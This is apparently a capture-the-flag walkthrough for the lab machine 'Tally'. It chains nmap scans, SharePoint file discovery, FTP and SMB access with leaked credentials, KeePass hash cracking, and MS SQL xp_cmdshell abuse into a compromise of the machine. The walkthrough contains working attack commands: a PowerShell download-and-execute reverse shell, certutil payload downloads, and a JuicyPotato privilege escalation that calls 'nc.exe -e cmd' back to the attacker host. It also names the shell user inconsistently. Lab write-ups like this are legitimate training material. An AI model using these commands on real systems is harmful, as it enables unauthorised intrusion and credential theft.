search

Tally

hashtag
Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.59 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p21,80,81,135,445,808,1433,5985,15567,32843,32844,32846,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.59 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

The website shows a SharePoint application.

Doing some research on the internet, I found a pentest report arrow-up-righton SharePoint which shows directories such as /_layouts/viewlsts.aspx.

Inside the Documents folder there is one file called ftp-details.docx.

Let's get the content of the document with the docx2text tool.

docx2txt ftp-details.docx

cat ftp-details.txt

On the other hand, the SitePages folder contains another item.

http://10.10.10.59/SitePages/Forms/AllPages.aspx

The page contains a message with an FTP username called ftp_user.

http://10.10.10.59/SitePages/FinanceTeam.aspx

hashtag
Exploitation

Now, we have valid credentials for the FTP server.

ftp ftp_user@10.10.10.59

As it looks like the content of the FTP server is big, let's mount it to a directory called ftp with curlftpfs.

mkdir ftp

curlftpfs 10.10.10.59 ftp -o user=ftp_user:'UTDRSCH53c"$6hys'

Inside the ftp/User/Tim/Files/ there is one file called tim.kdbx, which is used by KeePass, and may contain some credentials.

ls -la ftp/User/Tim/Files/

Let's copy that filw to our current directory, get it's hash, and try to break it with john.

cp ftp/User/Tim/Files/tim.kdbx .

keepass2john tim.kdbx > hash

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Now that we have the password, let's open the passwords database with keepassxc.

keepassxc tim.kdbx

There is one entry called TALLY ACCT share with the username Finance and the password Acc0unting.

These crednetials are valid for the SMB server.

cme smb 10.10.10.59 -u "Finance" -p "Acc0unting

By listing the shares, we'll see that we can read the ACCT share.

smbmap -H 10.10.10.59 -u "Finance" -p "Acc0unting"

Let's create another directory called smb, and mount the ACCT share in it.

mount -t cifs //10.10.10.59/ACCT smb/ -o username=Finance,password=Acc0unting

Inside the smb/zz_Migration/Binaries/New\ folder/ directory there is one binary called tester.exe.

ls -la smb/zz_Migration/Binaries/New\ folder/

If we print the strings of the binary, we'll find some credentials for the database server.

strings smb/zz_Migration/Binaries/New\ folder/tester.exe | more

Now we could log in to the MS SQL server on port 1433 with the mssqlclient tool from impacket.

impacket-mssqlclient sa@10.10.10.59

We could try to run commands with xp_cmdshell, but it is disabled.

xp_cmdshell whoami

But we can enable it with enable_xp_cmdshell.

enable_xp_cmdshell

xp_cmdshell whoami

Time to get a shell. First, download the Invoke-PowerShellTcp.ps1arrow-up-right file from Nishang, and add the following function at the end of the script. I will rename the file to rv.ps1.

mv Invoke-PowerShellTcp.ps1 rv.ps1

nano rv.ps1

Now, set a netcat listener on port 4444 with rlwrap.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

And set a simple HTTP server with python on the current directory.

python -m http.server 80

Now, if we run the following command, we should get a reverse shell as the sarah user, and then we'll be able to grab the user flag.

xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadString("http://10.10.14.8/rv.ps1")

hashtag
Privilege Escalation

Let's start by seeing what privileges the user tolis has.

whoami /priv

If a user has the SeImpersonatePrivilege, the first thing that comes to mind is JuicyPotato.

circle-info

JuicyPotato is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that SeImpersonate or SeAssignPrimaryToken are enabled.

https://github.com/ohpe/juicy-potatoarrow-up-right

To escalate privileges, we'll have to transfer JuicyPotato.exe and nc.exe binaries to the victim machine. Let's set a python HTTP server on the directory where we have those binaries.

python -m SimpleHTTPServer

And download the binaries from the desktop folder of the tolis user.

certutil.exe -f -urlcache -split http://10.10.14.8:8000/JuicyPotato.exe JuicyPotato.exe

certutil.exe -f -urlcache -split http://10.10.14.8:8000/nc.exe nc.exe

Before executing the JuicyPotato.exe binary, let's set another netcat listener on port 5555 to catch a reverse shell as the NT AUTHORITY\SYSTEM user.

nc -lvnp 5555

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Finally, let's run the Juicy Potato binary and get a shell as the NT AUTHORITY\SYSTEM user. Then all we have to do is reap the harvest and take the root flag.

JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\windows\temp\privEsc\nc.exe -e cmd 10.10.14.8 5555"

  • -t createprocess call.

  • -l COM server listen port.

  • -p program to launch.

  • -a specify command arguments.

Last updated

Was this helpful?